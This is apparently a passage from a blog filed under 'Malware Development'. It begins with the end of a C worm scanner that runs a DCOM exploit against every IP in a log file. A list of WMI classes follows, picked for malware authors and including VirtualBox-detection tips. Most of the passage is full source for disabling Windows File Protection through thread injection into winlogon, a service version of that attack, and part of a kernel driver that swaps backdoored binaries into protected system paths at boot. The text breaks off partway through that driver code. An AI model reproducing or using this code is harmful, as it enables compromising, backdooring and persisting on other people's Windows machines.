					fprintf(stderr, "Host: %s\n", IPaddress);
				
				close(ConnectionList[i].sock);
				ConnectionList[i].status = NOT_ACTIVE;
			}
		}
	}
}

void rootlog(char *logFile)
{
	int selectionCheck = selection;

	char		IPaddress[256];
	char 		exploitString[256];

	FILE		*logf;

	logf = fopen(logFile, "r+");

	fprintf(stderr, "\nHold Ctrl+C to quit\n");
	
	while ((fgets(IPaddress, sizeof(IPaddress), logf)) != NULL)
	{
		if (selectionCheck == 0)
		{
			snprintf(exploitString, sizeof(exploitString), "./oc192-dcom -d %s -t %d -p %d -l %d", IPaddress, selectionCheck, port, bindport);
			fprintf(stderr, "\nTrying to exploit %s using %s\n\n", IPaddress, win2k);
			system(exploitString);
		}
		else if (selectionCheck == 1)
		{
			snprintf(exploitString, sizeof(exploitString), "./oc192-dcom -d %s -t %d -p %d -l %d", IPaddress, selectionCheck, port, bindport);
			fprintf(stderr, "\nTrying to exploit %s using %s\n\n", IPaddress, winxp);
			system(exploitString);
		}
		else
			fprintf(stderr, "\nSomething Failed\n");
	}
	
	fprintf(stderr, "\nFinished\n");
	exit(0);
}

Posted in Malware DevelopmentTagged c, dcom, exploit, history, malware, scanner, wormLeave a comment

Windows Management Instrumentation (WMI) Research

Posted on June 28, 2019 by admin

Below is a list of interesting classes useful for malware authors. Please add comments if you believe any classes are missing, as this is not an exhaustive list.

root/CIMv2
	Win32_NetworkAdapterConfiguration
	Win32_LogicalFileSecuritySetting
	Win32_LocalTime
	Win32_LaunchCondition
	Win32_Fan
	Win32_DuplicateFileAction
	Win32_DMAChannel
	Win32_DisplayConfiguration
		Can detect VirtualBox Graphics Adapter
	Win32_DiskPartition
	Win32_DiskDriveToDiskPartition
	Win32_DiskDrive
		Probably more concise than the others
	Win32_Directory
		Maybe the most important
	Win32_DFSNode
		Sets up a Distributed File System
	Win32_DeviceChangeEvent
		Detects when flash drives are inserted or removed
	Win32_DCOMApplication
	Win32_CurrentTime
	Win32_CreateFolderAction
		Caution, this freezes.
	Win32_ComputerSystemProduct
		Good for detecting VirtualBox
	Win32_COMSetting
		Displays all CLSID info
		Very slow!!!
	Win32_ComputerSystem
	Win32_ComputerShutdownEvent
	Win32_COMClass
		Displays all COM classes available
		Very slow!!!
	Win32_ClientApplicationSetting
		Correlates COM classes with executable files
	Win32_CIMLogicalDeviceCIMDataFile
		Associates logical devices and data files with the drivers being used by those devices
	Win32_BIOS
	Win32_BootConfiguration
	Win32_BaseService
		Enumerates all services and the drivers/code used by devices
	Win32_AllocatedResource
		deprecated for Win32_PNPAllocatedResource
		Shows which resources (IRQs or DMA channels) used by specific device
	Win32_AccountSID
		Lists all accounts and their respective SIDs
	Win32_Account
		Like *AccountSID, but with more information
		
	MSFT_WmiFilterEvent
		
	CIM_DataFile
	CIM_DeviceFile
	CIM_Directory
	CIM_VideoController
		Good VirtualBox detection
	CIM_UserDevice
		List of currently installed user devices
	CIM_Thread
		Abstract class
		See:  Win32_Thread
	CIM_Processor
		Details processor
	CIM_ProcessExecutable
		Shows all "data files" (DLL) are active within processes
	CIM_Process
		Detailed list of processes
	CIM_Printer
		Detailed list of printers
	CIM_PhysicalMedia
		List of drives (CDROM and disk)
	CIM_PCVideoController
		Detailed list of graphics cards
	CIM_OperatingSystem
		Detailed list of OS
	CIM_MediaPresent
		"Active" drives?
	CIM_LogicalFile
		Abstract class
		See:  CIM_DataFile, CIM_DeviceFile, CIM_Directory
	CIM_Job
		Abstract class
		See:  Win32_PrintJob, Win32_ScheduledJob
	CIM_ExecuteProgram
		Abstract class
		No found implementations, definitely take a look
	CIM_DMA
		Abstract class
		See:  Win32_DMAChannel
		
root/nap
	Network Access Protection
root/WMI
	Windows Event Tracing classes
		VERY USEFUL
		Must enable system tracing
		See MSNT_SystemTrace class
		http://msdn.microsoft.com/en-us/library/windows/desktop/aa364158(v=vs.85).aspx
		
Posted in Malware DevelopmentTagged Research, WMILeave a comment

Disabling Windows File Protection

Posted on June 27, 2019 - June 27, 2019 by admin

This is an example of working code that was used to disable the Windows File Protection feature in the NT subsystem for OSes Windows 2000 through XP/2003. It is one of multiple ways to disable SFC from triggering on a protected file from modification.

There is a more thorough and complete method which requires adding kernel module code along with modification of the boot list (and location of target payload to overwrite legitimate target) which works for all protected file modifications with 100% success rate. Even kernel (ntoskrnl.exe) modification works with this method. The core snippet of the code is located at the bottom of this article.

Such code was useful for backdooring system utilities in “non-writable” directories (such as C:/WINDOWS/).

Hijack Winlogon Execution

// DisableWFP.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#define THREAD_WAIT 1000


DWORD dwBaseAddress;

BOOL IsWinlogon(DWORD pid)
{
	TCHAR processName[MAX_PATH] = _T("FILLER");

	HANDLE hProcess = OpenProcess(	PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
									FALSE,
									pid);
	if (hProcess)
	{
		HMODULE hModule;
		DWORD sizeModules;

		if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &sizeModules))
			GetModuleBaseName(hProcess, hModule, processName, sizeof(processName) / sizeof(TCHAR));
	}

	if (!memcmp(processName, _T("winlogon.exe"), _tcslen(_T("winlogon.exe"))))
	{
		// Match found.
		return TRUE; 
	}

	return FALSE;
}

FARPROC GetRelativeEntryAddress(LPTSTR pwszLibrary, char* szEntryFunction)
{
	if (GetFileAttributes(pwszLibrary) == INVALID_FILE_ATTRIBUTES)
		return NULL;

	HINSTANCE hLibrary = LoadLibrary(pwszLibrary);
	if (!hLibrary)
		return NULL;

	FARPROC pFunction = GetProcAddress(hLibrary, szEntryFunction);
	if (!pFunction)
		return NULL;

	return (FARPROC)((DWORD) pFunction - (DWORD) hLibrary);
}

LPVOID GetAbsoluteAddress(DWORD dwBaseAddress, LPVOID pFunction)
{
	return (LPVOID)((DWORD) pFunction + dwBaseAddress);
}

// Load payload into DisableWFP virtual space.
// Use it to get address of exported function "sfc_os_2".
// The difference is found with GetProcAddress().
// http://stackoverflow.com/questions/10057687/calling-function-in-injected-dll
void* GetPayloadExportAddress(LPTSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName)
{
	HMODULE hLoaded = LoadLibrary(lpPath);
	if (!hLoaded)
	{
		return NULL;
	}

	else
	{
		void* lpFunc = GetProcAddress(hLoaded, lpFunctionName);
		DWORD dwOffset = (char* ) lpFunc - (char* ) hLoaded;
		FreeLibrary(hLoaded);

		return hPayloadBase + dwOffset;
	}

	return NULL;
}

bool CallRemoteFunction(HANDLE hProcess, LPVOID pFunction)
{
	DWORD dwExitCode;
	HANDLE hThread = CreateRemoteThread(hProcess,										NULL,										0,										(LPTHREAD_START_ROUTINE) pFunction,										NULL,										0,
NULL);

	if (!hThread)
		return false;

	if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
		return false;

	if (!GetExitCodeThread(hThread, &dwExitCode))
		return false;

	CloseHandle(hThread);
	dwBaseAddress = dwExitCode;

	return dwExitCode != 0;		// Internal DLL function must return 0 for failure on this logic.
}

int _tmain(int argc, _TCHAR* argv[])
{
	DWORD processList[1024], numBytes;
	DWORD winlogonPID;
	int ordinal = 2;

	FARPROC pEntry = GetRelativeEntryAddress(_T("C:\\WINDOWS\\System32\\sfc_os.dll"), (char* ) ordinal);	// int SfcTerminateWatcherThread()
	if (!pEntry)
	{
		MessageBox(0,
				   _T("Unable to disable WFP"),
				   _T("WFP Error"),
				   MB_OK);
		
		return 1;
	}

	LPVOID pFunction = GetAbsoluteAddress(dwBaseAddress, pEntry);
	if (!EnumProcesses(processList, sizeof(processList), &numBytes))
		goto ___WFPMiscErr;

	for (int i = 0; processList[i]; i++)
		if (IsWinlogon(processList[i]))
			winlogonPID = processList[i];
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogonPID);
	if (!hProcess)
		goto ___WFPMiscErr;

	if (!CallRemoteFunction(hProcess, pFunction))
	{
___WFPMiscErr:
		MessageBox(0,
					_T("WFP Random Error"),
					_T("WFP Error"),
					MB_OK);
	
		return 4;
	}

	MessageBox(0,
				_T("WFP successfully disabled"),
				_T("WFP Success"),
				MB_OK);
	CloseHandle(hProcess);

	return 0;
}

Service-based Bypass

// InjectionSvc.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"


DWORD dwBaseAddress;

BOOL IsWinlogon(DWORD pid)
{
	TCHAR processName[MAX_PATH] = _T("FILLER");

	HANDLE hProcess = OpenProcess(	PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
									FALSE,
									pid);
	if (hProcess)
	{
		HMODULE hModule;
		DWORD sizeModules;

		if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &sizeModules))
			GetModuleBaseName(hProcess, hModule, processName, sizeof(processName) / sizeof(TCHAR));
	}

	if (!memcmp(processName, _T("winlogon.exe"), _tcslen(_T("winlogon.exe"))))
	{
		// Match found.
		return TRUE; 
	}

	return FALSE;
}

FARPROC GetRelativeEntryAddress(LPTSTR pwszLibrary, char* szEntryFunction)
{
	if (GetFileAttributes(pwszLibrary) == INVALID_FILE_ATTRIBUTES)
		return NULL;

	HINSTANCE hLibrary = LoadLibrary(pwszLibrary);
	if (!hLibrary)
		return NULL;
	dwBaseAddress = (DWORD) hLibrary;

	FARPROC pFunction = GetProcAddress(hLibrary, szEntryFunction);
	if (!pFunction)
		return NULL;

	return (FARPROC)((DWORD) pFunction - (DWORD) hLibrary);
}

LPVOID GetAbsoluteAddress(DWORD dwBaseAddress, LPVOID pFunction)
{
	return (LPVOID)((DWORD) pFunction + dwBaseAddress);
}

// Load payload into DisableWFP virtual space.
// Use it to get address of exported function "sfc_os_2".
// The difference is found with GetProcAddress().
// http://stackoverflow.com/questions/10057687/calling-function-in-injected-dll
void* GetPayloadExportAddress(LPTSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName)
{
	HMODULE hLoaded = LoadLibrary(lpPath);
	if (!hLoaded)
	{
		return NULL;
	}

	else
	{
		void* lpFunc = GetProcAddress(hLoaded, lpFunctionName);
		DWORD dwOffset = (char* ) lpFunc - (char* ) hLoaded;
		FreeLibrary(hLoaded);

		return hPayloadBase + dwOffset;
	}

	return NULL;
}

bool CallRemoteFunction(HANDLE hProcess, LPVOID pFunction)
{
	DWORD dwExitCode;

	HANDLE hThread = CreateRemoteThread(hProcess,										NULL,										0,										(LPTHREAD_START_ROUTINE) pFunction,										NULL,										0,
NULL);
	if (!hThread)
		return false;

	if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
		return false;

	if (!GetExitCodeThread(hThread, &dwExitCode))
		return false;

	CloseHandle(hThread);
	dwBaseAddress = dwExitCode;

	// This is for debugging.
	DWORD gle = 0;
	if (!dwExitCode)
		gle = GetLastError();	// Keeps returning 299 (ERROR_PARTIAL_COPY).

	return dwExitCode != 0;		// Internal DLL function must return 0 for failure on this logic.
}

SERVICE_STATUS			g_ServiceStatus = {0};
SERVICE_STATUS_HANDLE	g_StatusHandle = NULL;
HANDLE					g_ServiceStopEvent = INVALID_HANDLE_VALUE;

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD);
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam);

#define SERVICE_NAME _T("Disable WFP For System Utility Modification in Field")

VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode)
{
	switch (ctrlCode)
	{
	case SERVICE_CONTROL_STOP:
		if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
			break;

		// Perform tasks to stop service.
		g_ServiceStatus.dwControlsAccepted = 0;
		g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
		g_ServiceStatus.dwWin32ExitCode = 0;
		g_ServiceStatus.dwCheckPoint = 4;

		if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
			OutputDebugString(_T("Injection Service:  ServiceCtrlHandler:  SetServiceStatus returned error"));

		// Signal worker thread to start shutting down.
		SetEvent(g_ServiceStopEvent);
		break;

	default:
		break;
	}
}

DWORD WINAPI ServiceWorkerThread(LPVOID lpParam)
{
	// Periodically check if service has been requested to stop.
	while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0)
	{
		// Perform main service function below.
		DWORD processList[1024] = {0}; 
		DWORD numBytes = 0;
		DWORD winlogonPID = 0;
		int ordinal = 2;

		FARPROC pEntry = GetRelativeEntryAddress(_T("C:\\WINDOWS\\System32\\sfc_os.dll"), (char* ) ordinal);	// int SfcTerminateWatcherThread()
		if (!pEntry)
		{
			//MessageBox(0,
			//		   _T("Unable to disable WFP"),
			//		   _T("WFP Error"),
			//		   MB_OK);
			OutputDebugString(_T("Unable to disable WFP"));
			
			return 1;
		}

		LPVOID pFunction = GetAbsoluteAddress(dwBaseAddress, pEntry);
		if (!EnumProcesses(processList, sizeof(processList), &numBytes))
			goto ___WFPMiscErr;

		for (int i = 1; processList[i]; i++)
			if (IsWinlogon(processList[i]))
				winlogonPID = processList[i];
		HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogonPID);
		if (!hProcess)
			goto ___WFPMiscErr;

		if (!CallRemoteFunction(hProcess, pFunction))
		{
___WFPMiscErr:
			//MessageBox(0,
			//			_T("WFP Random Error"),
			//			_T("WFP Error"),
			//			MB_OK);
			OutputDebugString(_T("WFP Random Error"));
		
			return 4;
		}

		//MessageBox(0,
		//			_T("WFP successfully disabled"),
		//			_T("WFP Success"),
		//			MB_OK);
		OutputDebugString(_T("WFP successfully disabled"));
		CloseHandle(hProcess);

		return ERROR_SUCCESS;
	}
}

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
{
	DWORD Status = E_FAIL;

	while (!IsDebuggerPresent())
		;

	// Register service control handler with SCM.
	g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
	if (!g_StatusHandle)
		goto ___exit;

	// Tell the service controller we are starting.
	ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
	g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
	g_ServiceStatus.dwControlsAccepted = 0;
	g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwServiceSpecificExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 0;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus returned error"));

	// Create a service stop event to wait on.
	g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
	if (!g_ServiceStopEvent)
	{
		// Error creating event.
		// Tell service controller we stopped and exit.
		g_ServiceStatus.dwControlsAccepted = 0;
		g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
		g_ServiceStatus.dwWin32ExitCode = GetLastError();
		g_ServiceStatus.dwCheckPoint = 1;

		if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
			OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to create event"));
		goto ___exit;
	}

	// Tell service controller we are started.
	g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
	g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 0;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to inform service controller of start"));

	// Start thread to perform main task.
	HANDLE hThread = CreateThread(NULL, 0, ServiceWorkerThread, NULL, 0, NULL);
	
	// Wait until our worker thread exits, signaliing that service needs stopping.
	WaitForSingleObject(hThread, INFINITE);

	// Cleanup.
	CloseHandle(g_ServiceStopEvent);

	// Tell service controller we are stopped.
	g_ServiceStatus.dwControlsAccepted = 0;
	g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 3;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to inform service controller of stop"));

___exit:
	return;
}

int _tmain(int argc, _TCHAR* argv[])
{
	SERVICE_TABLE_ENTRY ServiceTable[] = {
											{SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
											{NULL, NULL}
										 };

	if (!StartServiceCtrlDispatcher(ServiceTable))
		return GetLastError();

	return 0;
}

Header file

// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//

#pragma once

#include "targetver.h"

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <Psapi.h>


// TODO: reference additional headers your program requires here
#pragma comment(lib, "psapi.lib")

Kernel-mode Driver to Backdoor All Binaries

// Purpose:
//				Let the agent know we successfully updated.
//				"Touch" the file "patch.scc" with the "next_version" number.
//				Our agent will copy contents of "patch.scc" to "patch.ver" and
//				delete "patch.scc" after.
NTSTATUS UpdateSystemPatchVersion(DWORD next_version)
{
	UNICODE_STRING						patch_version_file_name = { 0 };
	OBJECT_ATTRIBUTES					patch_version_file_attr = { 0 };
	FILE_STANDARD_INFORMATION			patch_version_standard_information = { 0 };
	HANDLE								patch_version_handle = 0;
	LARGE_INTEGER						max_patch_scc_size = { 0 };

#define MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE 10				// Max of (ANSI) 0xFFFFFF patches supported by this driver.

	max_patch_scc_size.QuadPart = MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE;

	RtlInitUnicodeString(&patch_version_file_name, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\patch.scc");
	InitializeObjectAttributes(&patch_version_file_attr,
								&patch_version_file_name,
								OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
								NULL,
								NULL);
	nt_status = ZwCreateFile(&patch_version_handle,
								GENERIC_WRITE,
								&patch_version_file_attr,
								&io_status_block,
								NULL, //&max_patch_scc_size,
								FILE_ATTRIBUTE_NORMAL,
								0,
								FILE_SUPERSEDE,
								FILE_SYNCHRONOUS_IO_NONALERT,
								NULL,
								0);
	// Scumbag nt headers didn't define STATUS_FILE_NOT_AVAILABLE?
#ifndef STATUS_FILE_NOT_AVAILABLE
#define STATUS_FILE_NOT_AVAILABLE 0xC0000467
#endif
	if (!NT_SUCCESS(nt_status))
	{
		// There was a problem opening "patch.scc".
		return STATUS_FILE_NOT_AVAILABLE;
	}

	// Must bitshift to find length of ANSI string representing dword.
	size_t size_of_patch_version_file; 

	CHAR patch_version_file_buffer[MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE + 1] = { 0 };
	const CHAR number_format[] = "%u\r\n";
	//_itoa(next_version, (PCHAR) patch_version_file_buffer, 16);
	nt_status = RtlStringCbPrintfA(patch_version_file_buffer,
									MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE,
									number_format,
									next_version);
	if (!NT_SUCCESS(nt_status))
	{
		ZwClose(patch_version_handle);

		return STATUS_BUFFER_OVERFLOW;		// Not necessarily true, we just need a reason.
	}

	// Get string length.
	nt_status = RtlStringCbLengthA(patch_version_file_buffer,
									MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE + 1,
									&size_of_patch_version_file);
	if (!NT_SUCCESS(nt_status))
	{
		ZwClose(patch_version_handle);

		return STATUS_INFO_LENGTH_MISMATCH;
	}


	byte_offset.LowPart = byte_offset.HighPart = 0;
	nt_status = ZwWriteFile(patch_version_handle,
							NULL,
							NULL,
							NULL,
							&io_status_block,
							patch_version_file_buffer,
							size_of_patch_version_file,
							&byte_offset,
							NULL);
	if (!NT_SUCCESS(nt_status))
	{
		// We are unable to read the file.
		ZwClose(patch_version_handle);
		
		return nt_status;
	}

	ZwClose(patch_version_handle);

	return STATUS_SUCCESS;
}

// Purpose:
//				Parse the file "C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt" with format:
//					<SOURCE>
//					<TARGET>
//					...
//
//				It will replace <TARGET> with <SOURCE> at boot up if both <TARGET> and <SOURCE> exist.
NTSTATUS ParseInformationFile(DWORD next_version)
{
	// Variables for handling the information file.
	windows_file_t				backdoor_info = { 0 };

	// Variables for handling the TARGET file. (see below)

	// Variables for handling the SOURCE file. (see below)

	//RtlInitUnicodeString(&backdoor_info.path, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt");
	// Initialize strings.
	if (!NT_SUCCESS(RtlUnicodeStringInit(&backdoor_info.path, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt")))
	{
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to initialize information string\n");
#endif

		return STATUS_UNEXPECTED_IO_ERROR;
	}

	// Initialize file object attributes for information file (because we always know path).
	InitializeObjectAttributes(&backdoor_info.object_attributes,
		&backdoor_info.path,
		OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
		NULL,
		NULL);

	nt_status = ZwCreateFile(&backdoor_info.handle,
		GENERIC_READ,
		&backdoor_info.object_attributes,
		&io_status_block,
		NULL,
		FILE_ATTRIBUTE_NORMAL,
		0,
		FILE_OPEN,
		FILE_SYNCHRONOUS_IO_NONALERT,
		NULL,
		0);
	if (!NT_SUCCESS(nt_status))
	{
		// Could not open information file for reading.
		// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to open information file.\n");
#endif

		return STATUS_UNEXPECTED_IO_ERROR;
	}

	// Allocate memory to hold contents. (PagedPool)
	nt_status = ZwQueryInformationFile(backdoor_info.handle,
										&io_status_block,
										&backdoor_info.file_standard_information,
										sizeof(FILE_STANDARD_INFORMATION),
										FileStandardInformation);
	if (!NT_SUCCESS(nt_status))
	{
		// Unable to query file information.
		ZwClose(backdoor_info.handle);

		return STATUS_DATA_ERROR;
	}

	backdoor_info.file_size = (SIZE_T) backdoor_info.file_standard_information.EndOfFile.LowPart;
	backdoor_info.buffer = (PCHAR) ExAllocatePoolWithTag(PagedPool,
													 backdoor_info.file_size + 1,
													 'gaT1');
	if (!backdoor_info.buffer)
	{
		// There is not enough memory in the system to replace the file.
		ZwClose(backdoor_info.handle);	

		return STATUS_DATA_ERROR;
	}

	byte_offset.LowPart = byte_offset.HighPart = 0;
	nt_status = ZwReadFile(backdoor_info.handle,
							NULL,
							NULL,
							NULL,
							&io_status_block,
							backdoor_info.buffer,
							backdoor_info.file_size,
							&byte_offset,
							NULL);
	backdoor_info.buffer[backdoor_info.file_size] = NULL;	// Ensure end of string.
	if (!NT_SUCCESS(nt_status))
	{
		// Do not log an error.  If there is no information file,
		// assume there is nothing to update.
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] No information file\n");
#endif
		ZwClose(backdoor_info.handle);
		ExFreePoolWithTag(backdoor_info.buffer, 'gaT1');

		return STATUS_SUCCESS;
	}
#ifdef _DEBUG
	DbgPrint(("[MICROSOFT_DRIVER] %s\n", backdoor_info.buffer));		// Print contents of text file to debug console.
#endif

#ifndef MAX_PATH
#define MAX_PATH 255
#endif

#ifndef MAX_PATH_PLUS_NULL
#define MAX_PATH_PLUS_NULL MAX_PATH * sizeof(CHAR) + 1 * sizeof(CHAR)
#endif

	// No longer needed.
	ZwClose(backdoor_info.handle);

	/*int information_file_descriptor = _open_osfhandle((intptr_t) backdoor_info.handle, _A_RDONLY);
	if (information_file_descriptor == -1)	// ERROR_INVALID_HANDLE
	{
		// Error locating the file descriptor for handle.
	}

	FILE* information_file_file_pointer = _fdopen(information_file_descriptor, "r");	// "rb"?
	if (!information_file_file_pointer)
	{
		// Error achieving a standard C file pointer from Windows HANDLE.
	}*/

	// Now we can use fgets() to read each line.
	// "backdoor_info.buffer" holds all file contents.
	// "backdoor_info.file_size" holds the number of bytes in the file.
	CHAR	current_source_file_path[MAX_PATH_PLUS_NULL] = { 0 };
	CHAR	current_target_file_path[MAX_PATH_PLUS_NULL] = { 0 };
	fgetws_t fget;
	fget.buffer = (WCHAR*) backdoor_info.buffer;	// Dangerous, but works.r
	fget.position = 0;
	fget.stream = backdoor_info.handle;				// Unused.
	// Just because "backdoor_info.buffer" is (CHAR* ) doesn't mean it actually is.
	// Our file is stored as UNICODE in text, so each character will be followed by a NULL (0x0) space.
	WCHAR*	back = (WCHAR* ) backdoor_info.buffer;

	// Check to see if "backdoor_info.file_size" is 0 or negative.
	if (backdoor_info.file_size <= 0)
	{
		// There were no bytes in INFO.txt.

		return STATUS_DATA_ERROR;
	}

	// Parse the read buffer.
	SIZE_T current_source_file_path_len = 0;		// We need to have something to read the actual line into something like "current_source_file_path".
	SIZE_T current_target_file_path_len = 0;
	const CHAR newline_char[] = "\r\n";


	windows_file_t		current_target = { 0 };
	windows_file_t		current_source = { 0 };

	UNICODE_STRING	unicode_source_file_path = { 0 };
	ANSI_STRING		ansi_source_file_path = { 0 };

	// bytes_read is updated after each line is read.
	INT32	bytes_read;
	INT32	char_index_in_line;
	bool	is_source;
	for (bytes_read = 0, char_index_in_line = 0, is_source = true; bytes_read < backdoor_info.file_size; )
	{
		// We're reading a UNICODE file.
		// Do not copy the L'\n' character to the string.
		//if (RtlEqualMemory(&newline_char, (CHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line), sizeof(newline_char)))
		// Check for next character being NULL.  It indicates we are at the end of the file.
		if (bytes_read + char_index_in_line == backdoor_info.file_size)
		{
			// We are done reading the file.
			// If we are in "source" reading turn,
			// we fail gracefully.
			if (is_source)
			{
				// Deallocation.

				// Fail gracefully.
				return STATUS_SUCCESS;
			}

			// This means we are done with the information file.
			// Perform the final write of protected files here.
			goto ___PerformReplace;
		}

#define STRLEN_NEWLINE 2
		// First boolean ensures against overflow.
		// Second boolean checks for Windows newline (0xD 0xA)
		else if ((bytes_read + char_index_in_line + STRLEN_NEWLINE <= backdoor_info.file_size) &&
			(newline_char[0] == backdoor_info.buffer[bytes_read + char_index_in_line] && newline_char[1] == backdoor_info.buffer[bytes_read + char_index_in_line + 1]))
		{
			// New line in Windows is 0x0D 0x0A.
			*((PCHAR) backdoor_info.buffer + bytes_read + char_index_in_line) = *((PCHAR) backdoor_info.buffer + bytes_read + char_index_in_line + 1) = NULL;	// Chomp the new line.
			// We found a newline character.	
			if (is_source)
			{
				// Source file.

				RtlInitAnsiString(&ansi_source_file_path, backdoor_info.buffer + bytes_read);
				if (!NT_SUCCESS(RtlAnsiStringToUnicodeString(&unicode_source_file_path, &ansi_source_file_path, TRUE)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to convert ansi to unicode\n");
#endif
				}
				// We have to do the "bytes_read" incrementation here so we don't cut off the "\?" at the beginning of
				// "ansi_source_file_path".
				bytes_read++;	// We don't want to start on the second NULL byte, we must start at next line.
				bytes_read++;	// We use "bytes_read" because "char_index_in_line" gets refreshed after every line is read.
				is_source = false;	// Next line, if any, will be target.

				if (!NT_SUCCESS(RtlUnicodeStringInit(&current_source.path, unicode_source_file_path.Buffer)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to initialize source string\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}
				// Do everything with opening and reading the source file if only the target file exists.
				// We have nothing left to do here.
			}

			else
			{
___PerformReplace:
				UNICODE_STRING	unicode_target_file_path;
				ANSI_STRING		ansi_target_file_path;

				RtlInitAnsiString(&ansi_target_file_path, backdoor_info.buffer + bytes_read);
				if (!NT_SUCCESS(RtlAnsiStringToUnicodeString(&unicode_target_file_path, &ansi_target_file_path, TRUE)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to convert ansi to unicode\n");
#endif
				}
				is_source = false;	// Next line, if any, will be target.
				//if (!NT_SUCCESS(RtlUnicodeStringInit(&current_target.path, current_target_file_path)))
				if (!NT_SUCCESS(RtlUnicodeStringInit(&current_target.path, unicode_target_file_path.Buffer)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to initialize target string\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}
				// We have to do the "bytes_read" incrementation here so we don't cut off the "\?" at the beginning of
				// "ansi_source_file_path".
				bytes_read++;	// We don't want to start on the second NULL byte, we must start at next line.
				bytes_read++;	// We use "bytes_read" because "char_index_in_line" gets refreshed after every line is read.

				is_source = true;	// Next line, if any, will be source.

				// Open and read the source file.
				// Copy unicode_source_file_path contents into unicode_target_file_path file.
				// We have a matching source with target.
				// Time to open and read the source.
				// Initialize file object attributes for information file (because we always know path).
				InitializeObjectAttributes(&(current_source.object_attributes),
					&current_source.path,
					OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
					NULL,
					NULL);
				InitializeObjectAttributes(&(current_target.object_attributes),
					&current_target.path,
					OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
					NULL,
					NULL);
				
				// OPEN THE FILE!!!

				nt_status = ZwCreateFile(&current_source.handle,
					GENERIC_READ,
					&current_source.object_attributes,
					&io_status_block,
					NULL,
					FILE_ATTRIBUTE_NORMAL,
					0,
					FILE_OPEN,
					FILE_SYNCHRONOUS_IO_NONALERT,
					NULL,
					0);
				if (!NT_SUCCESS(nt_status))
				{
					// Could not open information file for reading.
					// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to open source file.\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}

				nt_status = ZwCreateFile(&current_target.handle,
					GENERIC_READ | GENERIC_WRITE,	
					&current_target.object_attributes,
					&io_status_block,
					NULL,
					FILE_ATTRIBUTE_NORMAL,
					0,
